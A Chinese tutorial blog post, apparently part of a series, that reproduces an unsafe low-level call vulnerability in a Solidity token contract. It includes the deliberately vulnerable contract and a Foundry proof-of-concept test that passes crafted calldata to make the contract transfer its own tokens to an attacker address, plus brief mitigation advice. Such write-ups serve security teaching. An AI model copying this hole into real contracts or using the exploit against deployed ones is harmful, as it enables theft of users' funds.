区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】

区块链安全常见的攻击分析------不安全调用漏洞 Unsafe Call Vulnerability

  • [区块链安全常见的攻击合约和简单复现,附带详细分析------不安全调用漏洞 (Unsafe Call Vulnerability)【6】](#区块链安全常见的攻击合约和简单复现,附带详细分析——不安全调用漏洞 (Unsafe Call Vulnerability)【6】)
    • [1.1 漏洞合约](#1.1 漏洞合约)
    • [1.2 漏洞分析](#1.2 漏洞分析)
    • [1.3 攻击步骤分析](#1.3 攻击步骤分析)
    • [1.4 攻击合约](#1.4 攻击合约)

区块链安全常见的攻击合约和简单复现,附带详细分析------不安全调用漏洞 (Unsafe Call Vulnerability)【6】

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码,例如调用 transfer 函数将资金转移给攻击者,从而实现重入攻击并窃取资金。

1.1 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)

描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。

这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。

缓解措施:
应尽可能避免使用低级调用 "call"。

参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/

import "forge-std/Test.sol";

contract TokenWhale {
    address player;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    string public name = "Simple ERC20 Token";
    string public symbol = "SET";
    uint8 public decimals = 18;

    function TokenWhaleDeploy(address _player) public {
        player = _player;
        totalSupply = 1000;
        balanceOf[player] = 1000;
    }

    function isComplete() public view returns (bool) {
        return balanceOf[player] >= 1000000; // 1 mil
    }

    event Transfer(address indexed from, address indexed to, uint256 value);

    function _transfer(address to, uint256 value) internal {
        balanceOf[msg.sender] -= value;
        balanceOf[to] += value;

        emit Transfer(msg.sender, to, value);
    }

    function transfer(address to, uint256 value) public {
        require(balanceOf[msg.sender] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);

        _transfer(to, value);
    }

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function approve(address spender, uint256 value) public {
        allowance[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
    }

    function transferFrom(address from, address to, uint256 value) public {
        require(balanceOf[from] >= value);
        require(balanceOf[to] + value >= balanceOf[to]);
        require(allowance[from][msg.sender] >= value);

        allowance[from][msg.sender] -= value;
        _transfer(to, value);
    }

    /* Approves and then calls the contract code*/

    function approveAndCallcode(
        address _spender,
        uint256 _value,
        bytes memory _extraData
    ) public {
        allowance[msg.sender][_spender] = _value;

        bool success;
        // vulnerable call execute unsafe user code
        (success, ) = _spender.call(_extraData);
        console.log("success:", success);
    }
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

1.3 攻击步骤分析

  1. 调用 approveAndCallcode 函数,将 _spender 参数设置为 TokenWhaleContract 合约的地址。
  2. 将 _extraData 参数设置为 transfer 函数的函数签名及其参数,触发低级调用 call,从而执行 transfer 函数,实现重入攻击。
  3. 输出结果

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./UnsafeCall.sol";

contract ContractTest is Test {
    TokenWhale TokenWhaleContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        TokenWhaleContract = new TokenWhale();
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
        vm.prank(Koko);
        TokenWhaleContract = new TokenWhale();
        TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));
        console.log(
            "TokenWhale balance:",
            TokenWhaleContract.balanceOf(address(TokenWhaleContract))
        );
    }

    function testUnsafeCall() public {
        vm.prank(Aquarius);
        uint256 AquariusBalance;
        uint256 TokenWhaleBalance;
        AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));
        console.log("Aquarius Balance:", AquariusBalance);
        bytes memory _extraData = abi.encodeWithSignature(
            "transfer(address,uint256)",
            address(Aquarius),
            700
        );
        TokenWhaleContract.approveAndCallcode(
            address(TokenWhaleContract),
            0,
            _extraData
        );
        assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);
        console.log("Attack success!!");

        TokenWhaleBalance = TokenWhaleContract.balanceOf(
            address(TokenWhaleContract)
        );
        console.log("TokenWhale Balance:", TokenWhaleBalance);
        AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));
        console.log("Aquarius Balance:", AquariusBalance);
    }
}
相关推荐
Thneonl3 小时前
Flink Operator 的隐藏陷阱:容器名不是你以为的那个
安全·kubernetes
Thneonl3 小时前
kubectl scale ds 是个 404:DaemonSet 没有 replicas
安全·kubernetes
青Cheng序员石头3 小时前
失控之前 | AI 安全到底在保护什么?
后端·安全·aigc
龙亘川6 天前
一网统管AI平台民生业务实践:基于城市数字底座赋能公积金业务服务升级
大数据·安全·智慧城市·开源软件·数据可视化·政务
kybs19916 天前
全球灾害数据分析可视化 毕业设计-附源码66794
vue.js·spring boot·mysql·安全·django·c#·asp.net
LorryJovens6 天前
【LAAP科研】双系统具身AGI范式研究——基于LAAP认知架构与Jev概率决策模型的系统性技术调研与范式验证
人工智能·gpt·安全·架构
其实防守也摸鱼6 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
山东科恩光电6 天前
提升安全性的关键技术:安全触边在工业自动化中的应用解析
安全
LONGZETECH6 天前
一线职教实测:风光 580 汽车故障诊断仿真系统,破解实车实训四大核心痛点
人工智能·学习·安全·架构·汽车